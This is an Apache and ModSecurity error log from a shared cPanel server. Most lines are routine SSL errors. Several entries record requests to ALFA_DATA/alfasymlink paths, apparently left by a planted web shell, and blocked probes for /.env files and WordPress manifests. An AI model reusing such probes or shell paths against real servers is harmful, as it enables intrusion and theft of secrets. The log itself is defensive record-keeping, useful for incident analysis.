[Sun Oct 25 04:55:11.476662 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 23.21.225.190:33570] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:55:15.820903 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 3.226.34.98:5328] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:55:19.409954 2026] [ssl:error] [pid 2800080:tid 2800080] (70014)End of file found: [client 98.82.38.120:17868] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:55:23.433187 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 34.194.233.48:7232] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:55:27.384513 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 34.202.88.37:48322] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:55:31.420083 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 44.205.120.22:21669] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:55:36.991886 2026] [ssl:error] [pid 2800258:tid 2800258] (70014)End of file found: [client 85.208.96.209:20772] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:55:39.419865 2026] [ssl:error] [pid 2800080:tid 2800080] (70014)End of file found: [client 184.73.195.18:24169] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:55:43.587108 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 34.231.45.47:54032] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:55:47.440026 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 52.6.97.88:28387] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:55:47.793141 2026] [core:error] [pid 2799890:tid 2799890] (13)Permission denied: [client 85.208.96.206:50838] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-8/poison
[Sun Oct 25 04:55:51.476162 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 34.225.24.180:29585] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:55:55.413157 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 184.72.84.154:36085] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/resource0
[Sun Oct 25 04:55:59.506388 2026] [ssl:error] [pid 2800257:tid 2800257] (70014)End of file found: [client 34.239.197.197:3617] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:56:01.890161 2026] [ssl:error] [pid 2800258:tid 2800258] (70014)End of file found: [client 85.208.96.207:13470] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:56:03.421426 2026] [ssl:error] [pid 2800080:tid 2800080] (70014)End of file found: [client 34.233.114.237:57368] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:56:11.578709 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 44.205.180.155:51811] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:56:15.979344 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 185.191.171.16:65120] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:56:27.642447 2026] [ssl:error] [pid 2800258:tid 2800258] (70014)End of file found: [client 3.223.181.32:22301] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:56:32.342936 2026] [ssl:error] [pid 2800080:tid 2800080] (70014)End of file found: [client 18.205.213.231:8611] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:56:32.343157 2026] [security2:error] [pid 2800080:tid 2800080] [client 18.205.213.231:8611] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/mouse1/subsystem/input5/device/subsystem/devices/pcspkr/driver/pcspkr/power/runtime_suspended_time"] [unique_id "at3EQOqg3wvAvSM2DxfLUgAAAAQ"]
[Sun Oct 25 04:56:32.343184 2026] [security2:error] [pid 2800080:tid 2800080] [client 18.205.213.231:8611] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/mouse1/subsystem/input5/device/subsystem/devices/pcspkr/driver/pcspkr/power/runtime_suspended_time"] [unique_id "at3EQOqg3wvAvSM2DxfLUgAAAAQ"]
[Sun Oct 25 04:56:35.716180 2026] [security2:error] [pid 2799890:tid 2799890] [client 130.12.180.167:56490] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env"] [unique_id "at3EQ2ChNy-R5DAZy2u8JwAAAA0"]
[Sun Oct 25 04:56:35.716433 2026] [security2:error] [pid 2799890:tid 2799890] [client 130.12.180.167:56490] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env"] [unique_id "at3EQ2ChNy-R5DAZy2u8JwAAAA0"]
[Sun Oct 25 04:56:35.736388 2026] [security2:error] [pid 2799890:tid 2799890] [client 130.12.180.167:56490] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "at3EQ2ChNy-R5DAZy2u8JwAAAA0"]
[Sun Oct 25 04:56:39.557938 2026] [ssl:error] [pid 2800080:tid 2800080] (70014)End of file found: [client 44.208.223.68:14720] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:56:45.133120 2026] [security2:error] [pid 2800258:tid 2800258] [client 130.12.180.170:31996] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "mail.curso-de-ventas.com"] [uri "/.env"] [unique_id "at3ETf4bXCHo2bDK5J21HgAAAAo"]
[Sun Oct 25 04:56:45.133364 2026] [security2:error] [pid 2800258:tid 2800258] [client 130.12.180.170:31996] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "mail.curso-de-ventas.com"] [uri "/.env"] [unique_id "at3ETf4bXCHo2bDK5J21HgAAAAo"]
[Sun Oct 25 04:56:45.133592 2026] [security2:error] [pid 2800258:tid 2800258] [client 130.12.180.170:31996] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "mail.curso-de-ventas.com"] [uri "/.env"] [unique_id "at3ETf4bXCHo2bDK5J21HgAAAAo"]
[Sun Oct 25 04:56:47.306194 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 34.225.138.57:60489] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:56:47.706538 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 98.83.8.142:30376] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:56:51.592624 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 52.200.142.199:28486] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:56:59.512234 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 98.84.70.201:48495] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:57:05.759072 2026] [core:crit] [pid 2800080:tid 2800080] (13)Permission denied: [client 43.157.179.227:44934] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 04:57:07.582420 2026] [ssl:error] [pid 2800258:tid 2800258] (70014)End of file found: [client 52.6.232.201:37407] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:57:11.624570 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 52.71.216.196:35773] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:57:15.783100 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 23.23.103.31:47085] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:57:19.762047 2026] [core:error] [pid 2799892:tid 2799892] (13)Permission denied: [client 3.226.106.93:22975] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/subsystem/wakeup0/device/physical_node/rescan
[Sun Oct 25 04:57:23.608341 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 52.73.142.41:36590] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:57:27.676687 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 52.2.58.41:32096] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:57:31.577186 2026] [ssl:error] [pid 2800257:tid 2800257] (70014)End of file found: [client 34.194.165.45:12345] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:57:35.779768 2026] [ssl:error] [pid 2800080:tid 2800080] (70014)End of file found: [client 34.194.14.255:9724] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:57:39.727913 2026] [ssl:error] [pid 2800258:tid 2800258] (70014)End of file found: [client 3.222.190.107:5438] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:57:47.643684 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 34.231.118.144:3140] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:58:03.959392 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 52.200.93.170:41443] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:58:12.676699 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 185.191.171.19:61406] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:58:27.648790 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 44.223.232.55:64242] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:58:43.530527 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 18.213.27.222:29463] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:58:48.956141 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 54.162.69.192:31170] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:58:51.528466 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 98.83.177.42:40297] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:58:55.567438 2026] [ssl:error] [pid 2800173:tid 2800173] (5)Input/output error: [client 23.23.137.202:1118] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:58:59.657892 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 54.156.124.2:4497] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:59:03.659186 2026] [core:error] [pid 2800257:tid 2800257] (13)Permission denied: [client 44.220.2.97:57312] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory2/node0/cpu1/driver/cpu0/firmware_node/subsystem/drivers/battery/uevent
[Sun Oct 25 04:59:04.802075 2026] [core:error] [pid 2800258:tid 2800258] (13)Permission denied: [client 185.191.171.14:27256] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-1k/store_user
[Sun Oct 25 04:59:07.076526 2026] [core:error] [pid 2800301:tid 2800301] (13)Permission denied: [client 16.216.88.192:28672] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/demousers
[Sun Oct 25 04:59:07.480769 2026] [core:error] [pid 2800080:tid 2800080] (13)Permission denied: [client 3.211.181.86:26043] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:06/eject
[Sun Oct 25 04:59:14.061599 2026] [core:error] [pid 2799892:tid 2799892] (13)Permission denied: [client 85.208.96.205:30196] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/PING/partial
[Sun Oct 25 04:59:16.179157 2026] [core:error] [pid 2800300:tid 2800300] (13)Permission denied: [client 85.208.96.194:54080] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/perf_event/remote_node_defrag_ratio
[Sun Oct 25 04:59:19.392581 2026] [core:error] [pid 2800173:tid 2800173] (13)Permission denied: [client 3.218.35.239:32606] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:00/physical_node/driver/new_id
[Sun Oct 25 04:59:27.343664 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 18.206.47.187:59399] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:59:28.555644 2026] [core:crit] [pid 2800080:tid 2800080] (13)Permission denied: [client 65.49.1.10:24608] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 04:59:31.316394 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 44.223.232.55:4349] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:59:39.294913 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 34.234.197.175:14894] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:59:43.318946 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 98.84.70.201:62730] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 04:59:51.107333 2026] [core:error] [pid 2800080:tid 2800080] (13)Permission denied: [client 85.208.96.208:50304] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/alloc_calls
[Sun Oct 25 05:00:03.316990 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 35.173.18.61:52128] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:00:15.122015 2026] [core:error] [pid 2800258:tid 2800258] (13)Permission denied: [client 34.194.226.74:22934] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXCPU:00/physical_node/node0/memory4/node0/cpu1/driver/unbind
[Sun Oct 25 05:00:20.795650 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 54.210.155.69:25681] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:00:27.137577 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 18.215.77.19:11793] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:00:31.390542 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 34.192.67.98:63542] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:00:39.185375 2026] [ssl:error] [pid 2800258:tid 2800258] (70014)End of file found: [client 44.221.105.234:15834] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:00:50.966436 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 44.223.116.180:37008] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:00:55.169072 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 98.84.184.80:32620] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:00:59.095319 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 3.224.205.25:13735] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:01:06.960931 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 3.221.50.71:31023] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:01:09.124640 2026] [proxy_fcgi:error] [pid 2800258:tid 2800258] [client 143.244.57.88:58756] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 05:01:09.648575 2026] [security2:error] [pid 2800258:tid 2800258] [client 143.244.57.88:58756] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp5.sherwinpinturas.com"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "at3FVf4bXCHo2bDK5J21LwAAAAo"]
[Sun Oct 25 05:01:09.648614 2026] [security2:error] [pid 2800258:tid 2800258] [client 143.244.57.88:58756] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp5.sherwinpinturas.com"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "at3FVf4bXCHo2bDK5J21LwAAAAo"]
[Sun Oct 25 05:01:10.953521 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 52.204.89.12:12727] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:01:19.301888 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 100.28.57.133:18967] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:01:22.775634 2026] [core:error] [pid 2799892:tid 2799892] (13)Permission denied: [client 98.84.184.80:6899] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:03.0/virtio0/driver/uevent
[Sun Oct 25 05:01:26.718046 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 44.197.76.210:7586] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:01:30.707976 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 52.73.6.26:6518] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:01:35.056413 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 52.45.194.165:28809] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:01:38.688785 2026] [ssl:error] [pid 2800257:tid 2800257] (70014)End of file found: [client 100.24.167.60:32058] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:01:48.027901 2026] [security2:error] [pid 2800301:tid 2800301] [client 34.226.89.140:14200] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:0b/subsystem/devices/LNXCPU:01/physical_node/driver/cpu0/power/"] [unique_id "at3FfG-vioONKq5GrvyFtgAAAA8"]
[Sun Oct 25 05:01:48.027951 2026] [security2:error] [pid 2800301:tid 2800301] [client 34.226.89.140:14200] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:0b/subsystem/devices/LNXCPU:01/physical_node/driver/cpu0/power/"] [unique_id "at3FfG-vioONKq5GrvyFtgAAAA8"]
[Sun Oct 25 05:01:50.692106 2026] [core:error] [pid 2800080:tid 2800080] (13)Permission denied: [client 34.231.77.232:31374] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXCPU:00/physical_node/driver/cpu1/crash_notes_size
[Sun Oct 25 05:01:58.667086 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 18.214.251.19:56469] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:02:11.007922 2026] [core:error] [pid 2800257:tid 2800257] (13)Permission denied: [client 85.208.96.212:48074] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_mrt_cache/free_calls
[Sun Oct 25 05:02:22.393416 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 52.71.218.25:63576] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:02:24.814442 2026] [core:error] [pid 2799892:tid 2799892] (13)Permission denied: [client 85.208.96.194:45052] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pte_list_desc/order
[Sun Oct 25 05:02:30.452564 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 23.21.119.232:4371] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:02:46.213443 2026] [core:error] [pid 2800080:tid 2800080] (13)Permission denied: [client 44.193.102.198:57405] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/console/subsystem/ttyS0/closing_wait
[Sun Oct 25 05:02:50.400732 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 3.231.193.38:29462] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:02:58.195784 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 3.221.156.96:4940] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:03:00.090626 2026] [security2:error] [pid 2800173:tid 2800173] [client 43.130.116.87:40172] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/betaok/vendor/"] [unique_id "at3FxMnrA_pwq9mjVbUH8QAAAAY"]
[Sun Oct 25 05:03:02.198430 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 52.202.52.82:52500] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:03:06.307890 2026] [ssl:error] [pid 2800258:tid 2800258] (70014)End of file found: [client 52.73.142.41:61172] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:03:06.361698 2026] [ssl:error] [pid 2800257:tid 2800257] (70014)End of file found: [client 185.191.171.19:46366] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:03:14.008689 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 185.191.171.6:18240] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_dst_cache/min_partial
[Sun Oct 25 05:03:14.205287 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 3.211.105.134:24301] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:03:18.217228 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 35.169.102.85:46982] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:03:31.497532 2026] [core:error] [pid 2799890:tid 2799890] (13)Permission denied: [client 185.191.171.15:15892] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/sunrpc/sections/_ftrace_eval_map
[Sun Oct 25 05:03:33.919961 2026] [ssl:error] [pid 2800258:tid 2800258] (70014)End of file found: [client 185.191.171.9:55800] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:03:38.172412 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 3.94.199.128:2502] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:03:48.602625 2026] [core:error] [pid 2800300:tid 2800300] (13)Permission denied: [client 185.191.171.13:18050] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/align
[Sun Oct 25 05:04:14.189363 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 100.27.153.9:57895] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:04:18.358513 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 18.213.102.186:17698] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:04:26.189690 2026] [ssl:error] [pid 2800258:tid 2800258] (70014)End of file found: [client 54.162.69.192:31085] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:04:30.172348 2026] [core:error] [pid 2800257:tid 2800257] (13)Permission denied: [client 34.202.88.37:36499] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:12/subsystem/drivers/ec/uevent
[Sun Oct 25 05:04:42.431391 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 34.199.252.22:21760] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:04:55.057097 2026] [core:error] [pid 2800258:tid 2800258] (13)Permission denied: [client 85.208.96.196:50558] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UNIX/trace
[Sun Oct 25 05:05:22.176310 2026] [ssl:error] [pid 2800258:tid 2800258] (70014)End of file found: [client 44.215.235.20:5389] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:05:26.170896 2026] [ssl:error] [pid 2800257:tid 2800257] (70014)End of file found: [client 100.28.204.82:37042] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:05:38.154258 2026] [core:error] [pid 2800173:tid 2800173] (13)Permission denied: [client 52.44.148.203:61197] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/rom
[Sun Oct 25 05:05:58.201072 2026] [core:error] [pid 2800080:tid 2800080] (13)Permission denied: [client 18.214.124.6:55605] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/driver/cpu0/driver/unbind
